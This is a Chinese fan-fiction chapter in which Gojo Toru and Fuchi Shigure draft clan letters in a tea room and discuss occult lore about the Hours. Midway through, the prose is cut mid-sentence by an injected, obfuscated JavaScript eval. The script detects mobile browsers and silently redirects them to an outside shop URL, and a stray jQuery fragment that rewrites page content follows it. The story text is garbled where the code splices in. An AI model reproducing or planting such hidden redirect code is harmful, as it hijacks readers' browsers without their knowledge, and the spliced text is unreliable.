「历年文书中，有一年间委托代笔二十余通者，皆出同一人手笔。
其书法清劲，纸墨考究，与他家代笔迥异。然所费不赀，家臣颇有微词。
家主徹闻之，默然不应，旋又以“文书法度，不可轻废”遣人再召。」
——《五条家旧记·用度卷》
————————
“那位大人又来了吗？”
夏日午后，庭院里蝉鸣阵阵，几株紫阳花开得正盛。
廊下的风铃被风声吹响，两个侍女正站在回廊拐角处窃窃私语。其中一人手里端着茶点，目光越过庭院，落在远处那间茶室的纸门上。
“别多嘴，先去送点心。”另一位侍女连忙捂住她的嘴。
侍女瞪大眼睛，点点头应下。她端着漆盘穿过回廊，木屐在木板上踩出细碎的声响。
拐过转角，她看见那间最近深受家主喜爱的茶室的纸门紧闭着。走进些，还能闻见门缝里透出的混着一丝冷香的墨香。
侍女双手稳稳托住漆盘，在门前跪坐下来。她深吸一口气，然后轻轻叩了一下门。
听到里间的脚步声响起，侍女连忙低头。
“哗——”
纸门被拉开，她的视线出现了一截衣裾的下摆。
那浅蓝色的直衣垂到地上，袖口标志性的纹付在午后的光线里泛着极淡的金色。
侍女愈发恭敬，“徹大人日安。”
五条徹垂眸扫了一眼漆盘上的茶点，看都没看地上跪着的人一眼。
“给我。”
“是。”
五条徹单手接住漆盘，垂眸扫了侍女一眼，侍女伏得更低了。他将门轻轻合拢，听见侍女起身离去的声音，才端着茶点往里间走去。
夏日炎炎，茶室的纸门后已经换上了夏装的纱帘，聒噪的蝉鸣透过薄纱渗进来，被滤成淡淡的白噪音。
白发神子撩开纱帘，瞥见角落里那只铁壶。它还在炉上坐着，咕噜咕噜冒着热气，壶嘴逸出的白气在光柱中缓缓上升，又缓缓消散。
午后的光线从纱帘的经纬间漏下，在榻榻米上投出细密的光斑，把里间的人罩在光里。
不知时雨卧躺在里间的榻上，一只手撑着额角，另一只手握着卷轴，白衣散开。
他的乌发从肩头滑落，铺在榻榻米上，发间的银丝在午后的光线里泛着光。
乌黑的纱帽放在手边，青色的帷幕垂在榻沿，布料随着风声轻轻晃着，带着光斑一闪一闪。
见此，五条徹眉眼柔和，嘴角都带着笑意。
不知时雨翻过一页，感到五条徹重新进来，随口一问。
“怎么了？”
“来送茶点，要尝尝吗？”
不知时雨抬眼，看向五条徹的眼中流露出一丝担忧。
“你很难受吗？”
“啊？”
“六眼。”
五条徹放下茶点，坐到不知时雨腰前的榻上，笑意吟吟，“其实还好，平时不开无下限就没事。”
“总是靠甜点来维持大脑运转也不是个事。”不知时雨伸手抚上五条徹的肩膀，借力坐起来，发丝随着他的动作滑落，搭在五条徹的肩膀上，“你是不是该多练练反转术式了？”
五条徹眉毛一挑，手覆上不知时雨的手背，轻轻握住，“不知斋先生要教我吗？”
“你们族内不是有反转术式的咒术师吗？”
“没办法呀，”五条徹委屈道，“我悟性太差，听不懂。”
不知时雨不置可否，伸手推了推五条徹。
“让开。”
五条徹乖乖起身，然后微微弯腰，朝不知时雨伸手。
他掌心朝上，手指自然张开，五指修长，骨节分明。
不知时雨没有在意，直接把手搭了上去。
温润的手落在五条徹的掌心，如雪一般落到他炽热的手心里。
淡淡的凉意就像夏天的瓷枕，他嘴角一勾，腕间使坏，用力一下子把不知时雨拉了起来。
白衣在空中翻涌了一瞬，衣袖由于惯性在不知时雨腕上勒出一道极浅的红痕，转瞬即逝。
五条徹的视线在那上面停了一瞬，微微皱眉，手指轻轻摩挲不知时雨的手腕。
片刻后，不知时雨稳稳站在地上，面无表情把手抽回来。
他戴上帷幕，掠过五条徹，径直走向几案。
轻纱拂过五条徹的鼻尖，他一只手摸了摸鼻子，另一只藏在袖中的手不自觉动了动，快步跟上不知时雨。
案上散落着不少写废的信纸，旁边镇纸还压着一叠已经誊好的雁皮纸。
不知时雨在书架上新找了一叠纸，掀起衣摆在案前坐下。
“先把需要代笔的书信写完。”
五条徹蹭到他身边，跟着坐下，“这种事又不急。”
“家族内部没有意见吗？”
“哈？他们？”五条徹笑意稍稍收敛，“糟老头子能有什么意见？”
“无非就是劝诫、下跪、老泪纵横哭一场，然后妥协。”
不知时雨轻笑一声，“你对这一套似乎很熟练？”
“那当然！”五条徹睁着眼睛，指了指自己，“我可是六眼，就算我不处理这些事也没人敢说什么。”
“真的吗？”不知时雨淡淡反问。
五条徹嘴角一扬，张嘴就要说话，却被不知时雨打断。
“可是徹有在偷偷私下处理吧。”
五条徹愣了片刻，然后眨了眨眼，脸上的表情有些微妙。
“为什么不在我来的时候一起处理呢？本来也是我的职责。”不知时雨的嗓音温润，“六眼本来消耗就大，你又还没有掌握反转术式，何必把自己逼得这么紧。”
“有时候，也可以试着多依靠一下他人。”
五条徹垂眸，轻轻叹了口气，“真是的，”
“先生有点太敏锐了。”他撇撇嘴，耳尖泛红，“我只是……”
最后，他的声音几乎微不可闻，饶是不知时雨也没听清。
不知时雨倒也不在意，抬手揉了揉五条徹的脑袋，成功把家主的头发弄乱。
然后，他抽出一份信件，直接拆开递给五条徹。
五条徹接过，扫了一眼就开始口述：“五条家旗下田圃村，今年年贡迟迟未交，村老以‘灾荒歉收’为由推脱。然据邻村报告，该村今年收成并不逊于往年。望五条家严加督促，以免此风渐长，危及赋税之基。”
刚刚念完，他就憋不住开口说道：“这事我知道！这老东西去年自己加税逼走了好几户人家，现在收不上来钱了，还敢说是灾荒。”
“现在还敢来告状，让他自己去田里数稻穗，看看有没有少收一粒米。”五条徹把信纸往案上一拍，“不是他还挂着幕府那边的闲职，我早就——”
不知时雨好笑地把信纸抽出来，细细展平，“好了，写回信吧。”
闻言，五条徹不加思考，张嘴就来：“就说知道了，五条家秋后派人去看看。若真有灾，减税；若没有，该交的交。烦请转告那位，你在急什么？”
不知时雨刚刚提笔就顿住了，他沉默半晌才开口：“……就说‘贵方关切之意，五条家深表感激。田圃村之事，容敝家先行查实，惟恐轻信人言，误了朝廷体恤百姓之本意。待秋后，必有定论。’如何？”
“好！”五条徹从善如流地接话。
“……”不知时雨看了他一眼，五条徹把信件举起，挡住下半张脸，只露出那双蓝眼睛一眨一眨。
窗外的蝉鸣忽然大了一瞬，又低下去，午后的光斑在他身上轻轻晃动，晃出他明亮的双眸。
不知时雨失笑，给他换了另一封信件。
这一封来自幕府奉行所的公函，措辞极其官样，充斥着大量敬语、模糊的表述、还有看似礼貌实则暗藏玄机的双关。
五条徹看得头疼，于是抬头可怜巴巴地看向不知时雨。
他把公函往不知时雨面前推了推，整个人趴在案上，白发散了一桌。
“先——生——”
不知时雨弹了下他的额头，接过公函读了片刻，说道：“大致意思是，幕府希望五条家在一些事上主动让步，但他们应该不希望留下强制命令的记录，所以才写得这么别扭。”
五条徹趴在桌上把公函拿过来，用食指和大拇指捻着，不屑地在空中晃了晃，“所以他们就绕着弯子说话。”
“政治从来如此。”不知时雨摇摇头，“不要小看语言啊，徹。”
“怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727623|206918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么说？”
“语言是通向诗歌、典仪和奥秘的大门，于此莲花般的璀璨中，我们可以窥见诸史的真相。”不知时雨坐直身体，认真地说道，“所以，言辞是撕裂漫宿的伤口。”
五条徹的睫毛垂下来，撑着下巴的手一动不动。茶室外蝉声聒噪，茶室内纱帘被风吹起，在他肩头落下一道忽明忽暗的光斑。
不知时雨看着他的睫毛，又道：“经此伤口，漫宿的血流淌至今*。”
“绝大多数冬之长生者修习静默术，正是因为他们认为：终有一日，言辞或将终结梦境*。故而选择保持沉默，希望止梦之血。”
五条徹抬眸，白发从额前滑落，蓝色的双眼在纱帘透入的光线中微微发亮，像是天空的延展。
“但，我不是。”不知时雨言语中透露出一丝笑意，“我认可言辞是一道伤口的观点，但我不认同静默术的论点。”
“它们有什么区别吗？”五条徹轻声问。
“前者是对诸史谜题的假说，后者是学者们的处事派别。”不知时雨说道，“持不同意见的研习者数不胜数，但在历史还未被抉择之前，一切都是悬而未决。”
五条徹十分敏锐，立马问道：“历史由谁裁决？”
“自然是司辰。”
“司辰所想就一定会实现吗？生杀予夺？”
不知时雨笑了几声，乐不可支地倒在五条徹身上。
然后，他用手抵住嘴唇，勉强止住笑意，“当然不是。”
“司辰之间亦有利益拉扯，裁决历史会直接影响祂们的权柄，怎么可能轻易决定。”
“我举个简单的例子。”不知时雨用笔在纸上画了几个抽象的图案，笔锋清劲，墨迹在纸面上微微洇开。
五条徹凑过去看，一棵树上面开着三朵花，一朵标为黑色、一朵标为白色，最后一朵没写，树上面还有一个大大的弯月被单独划出来。
“今天我们所说的，正是最正统的隐秘知识，而这些知识是受到管制的。”不知时雨指了指画上的树，“而管制的组织与法则，就是这棵树，它叫作‘守夜人之树’。”
“在众多司辰之中，与‘守夜人之树’相关的司辰对知识的掌控强相关。”他又指了指那两朵花和月亮，“黑花代表‘亚麻’，乃是守密之神，象征隐藏；白花代表‘节制’，祂是不仁之神，象征遗忘；而‘弯月’则是揭示之神，象征美丽，可能正是因为这份脆弱，祂不属于三花之一。”
五条徹举手，发出疑问，“那你没标注的那朵花是什么？”
“那是一位极度危险的神明，请不要轻易提到祂。”不知时雨把手指放在唇前，轻轻‘嘘’了一声。
然后，他顿了顿，继续说道：“倘若司辰们裁决历史，让黑花为首，则守密的力量会空前强大，揭示则会受到打压；倘若让白花为首，则黑花的力量会受到压制，因为遗忘比隐藏更加绝对。”
“所以裁决历史是一件涉及众多司辰利益，有关权力分配的大事。”
想了想，不知时雨又补充道：“不过你也可以反过来想，无论裁决出的历史有多么离谱，只要是能被确定下来的历史，它一定在某方面对某位司辰有利，甚至影响司辰的诞生或证道。”
窗外有清风拂过，铁壶嘴逸出的白气断了一瞬，又重新升起。
五条徹若有所思，长长的睫毛垂下，遮住半片苍蓝。
然后，他突然问道：“那你呢？”
喧闹的蝉鸣好像停了一瞬，风铃的声响穿过纱帘，落进茶室，被光影稀释成几乎听不见的碎屑。
“你又为什么能肆无忌惮地说出来？”五条徹托着下巴，唇间毫不犹豫地吐出尖锐的问题。
他看着那双灰色的眼睛，隔着纱帘的光影，像看见了横亘在他们之间漫长的时间。
“因为……”不知时雨歪了歪头，看着五条徹的眼眸古井无波，灰色的眸子无神，就像是某种不属于人间的鸟类在端详掌中之物。
“我同时受到三位神明的宠爱啊。”
纱帽的帷幕随着不知时雨的动作滑到一侧，他的面容仍被遮挡，但那双灰色的眼睛却在纱后弯了起来，笑意安静而遥远。
“正如你受到守夜人的宠爱。”
“神子阁下。”